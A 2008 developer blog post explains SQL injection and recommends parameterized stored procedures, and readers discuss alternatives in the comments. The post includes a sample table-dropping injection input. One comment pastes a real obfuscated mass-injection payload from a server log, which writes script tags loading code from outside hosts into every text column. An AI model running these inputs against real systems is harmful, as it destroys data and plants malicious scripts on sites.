SQL Injection and how to avoid it
It isn't as big of a deal at the moment, but it is always good to make sure everyone is aware of this and how dangerous it can be. There is some very good information on it located on MSDN here. The important part is to remember that anytime you take input from an external source (someone typing on a web page), they don't always have to put in what you expect.
The safest way to keep yourself safe from SQL Injection is to always use stored procedures to accept input from user-input variables. It is really simple to do this, for example, this is how you don't want to code things:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" +
ShipCity + "'";
This allows someone to use SQL Injection to gain access to your database. For example, imagine if someone put in the following for the "ShipCity":
Redmond'; drop table OrdersTable--
This would delete the entire table! If you have seen much on SQL Injection, they have figured out all kinds of ways to get information about your database or server, so don't think they can't find the names of tables, etc.
The correct way to do this would be using a stored procedure as follows:
SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id",
SqlDbType.VarChar, 11);
parm.Value = Login.Text;
Then you will be protected. Be sure to use parameterized stored procedures to keep the stored procedure from having the same problem as before.
-- Update --
The above code would call a stored procedure that would be something like:
CREATE PROCEDURE AuthorLogin @au_id varchar(11)
AS
SET NOCOUNT ON
SELECT Author from AuthorTable WHERE au_id = @au_id
GO
Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures.
-- End Update --
There are other hints and advice on the MSDN article that you can check out, but this is the major piece of advice to know.
There is also some additional information that you can find here. You can find more information and a video at Explained – SQL Injection and another video about it here. There are tons of links on the web so feel free to research this more to be sure you are safe from this problem.
Here are a few other links to help on the subject:
SQL Injection Attack from the SWI team at Microsoft
Preventing SQL Injections in ASP
Filtering SQL Injection From Classic ASP
Classic ASP which is still alive and parameterized queries
ISAPI filter to protect against SQL Injection
Michael Sutton's Blog on SQL Injection
Comments
Anonymous
May 29, 2008
You've been kicked (a good thing) - Trackback from DotNetKicks.comAnonymous
May 29, 2008
Can we not just use parameterized inline sql. Has the same protection and removes a layer of maintenance.Anonymous
May 29, 2008
Although stored procedures are usually better practice, they aren't the only answer here. Plain old paramaterized text queries will do the trick too.Anonymous
May 29, 2008
Stevef, That is an option also. Stored procedures allow you to do more validation if you want, but that would work as well for the majority of issues.Anonymous
May 29, 2008
The comment has been removedAnonymous
May 29, 2008
Kris, Thanks for including that. You are right, I should have added that as well and performance is a big reason for using a stored procedure.Anonymous
May 29, 2008
The comment has been removedAnonymous
May 29, 2008
the performance gain you get using a stored procedure is more or less neglible, unless you're running large queries. The same can be said of the network traffic you're saving.Anonymous
May 29, 2008
The comment has been removedAnonymous
May 29, 2008
The comment has been removedAnonymous
May 29, 2008
Also, my two cents on inline SQL vs. stored procedures: SPs simplify security; if all the data access and manipulation is done via stored procedures, you don't have to grant the application's account direct CRUD access to table.Anonymous
May 29, 2008
it contain more js like，every colum contain like <script src=http://s.see9.us/s.js></script> <script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr' width=50 border=0> I open iis log, it is some like http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- what does that mean?I think it must be here have bad, I change databa password,but no resultAnonymous
May 29, 2008
Kris, I'll see what I can do and put up a sample stored procedure with spacing well and add it to this blog post. Why are you switching to Oracle?Anonymous
May 29, 2008
Tom, We're switching to oracle because our main software branch and the development team along with it, were basically bought up by a huge US corporation. They're already running a lot of oracle based systems worldwide and since they're going to be "running the show", they've mandated the switch. It kinda excites me for the challenges it will bring. My database background has always been pretty much mysql only before I got this job. And i remember the mental effort required to make the switch to SqlServer was big, but overall it's been a great learning experience. I'll never know even nearly everything I'd like to know, but every new thing mastered is a step in the right direction.Anonymous
May 29, 2008
On the subject, cracked me up http://xkcd.com/327Anonymous
May 29, 2008
Jeff, I still dont see this as a major win against the overhead of creating CRUD procs on a large db. Surely if someone can gain access to your tables directly through somehow getting and using application credentials then you have got a much bigger infrastructure security issue.Anonymous
May 30, 2008
Tom, good job on the update, especially with the "Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures." I had no idea that did anything besides make sqlwb's output log more readable. means i'm still learning this stuff :-)Anonymous
May 30, 2008
Would using the parameters 'addwithvalue' command help prevent SQL injection? ie. insertcmd.Parameters.AddWithValue(@user, this.txtlogin.txt)Anonymous
May 30, 2008
Stevef, point taken: If hackers get that far, you've got major security issues. I still like the approach's simplicity though. Especially if someone else is responsibly for maintaining the database security for my application. ;) At the agency I work for, the SP approach is the standard way of doing things. An SP layer will more clearly delineate application/service boundaries and is simpler to manage security on, period.Anonymous
May 30, 2008
Chris, Yes, that is what Stevef was suggesting also. That would work.Anonymous
May 30, 2008
Chris, using AddWithValue is risky because the allowed length of the parameter is inferred from the length of the input in the case of strings. It's better to create a formal parameter so you can assign a data type and a maximum length for the paramter's value. I use AddWithValue for numeric values, and it's also OK to use them if you've previously validated the string value.Anonymous
May 30, 2008
The hyperlinks related to classic ASP are deadAnonymous
May 31, 2008
Michelle, They are fixed now. Sorry about that.Anonymous
June 02, 2008
My previous post on this topic generated so much discussion that I thought I should post about it someAnonymous
June 02, 2008
Is anyone here using Linq to SQL? After using it you can't go back. SQL injection is not an issue and I feel that the LINQ to SQL "sql" is more optimized than CRUD stored procedures. For example an update stored procedure is writen to usually update every field even if only one is changed. A Linq to SQL update statement only updates the fields being updated. This is really helpful because it wont lock the whole row.Anonymous
June 02, 2008
I do not know what is the scariest: still having to talk about SQL injections in 2008 or telling people to use stored procedures for CRUD operations. I reckon this post is a good thing because constant reminders are what prevent forgetting things.Anonymous
June 03, 2008
Though it's likely a subset of other information that has been linked to, I didn't see this listed, and thought it may be relevant / beneficial / supporting: Giving SQL Injection the Respect it Deserves @ http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspxAnonymous
June 03, 2008
Adefwebserver, Very good point. I'll have to look into this and maybe post an example on here.Anonymous
June 03, 2008
Molotov, It is always good to point it out directly though. Thanks.Anonymous
June 03, 2008
What I really want to know is why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions. That just defies logic.Anonymous
June 04, 2008
The "Filtering SQL Injection From Classic ASP" provides the fastest method to do something "right now" while you are recoding to use sql parameters. It allows you to put an "include" at the top of your pages.Anonymous
June 05, 2008
my web has javasript, I'd suggest you create a case with Microsoft and let us look into it. We will be able to track down what happened and help get things working correctly again. Check out: http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx For information about contacting Microsoft.Anonymous
July 30, 2008
The comment has been removedAnonymous
October 15, 2008
The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScanAnonymous
October 15, 2008
The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScanAnonymous
October 28, 2009
The comment has been removedAnonymous
August 26, 2011
Check this Blog: www.mindstick.com/.../Preventing%20SQL%20Injection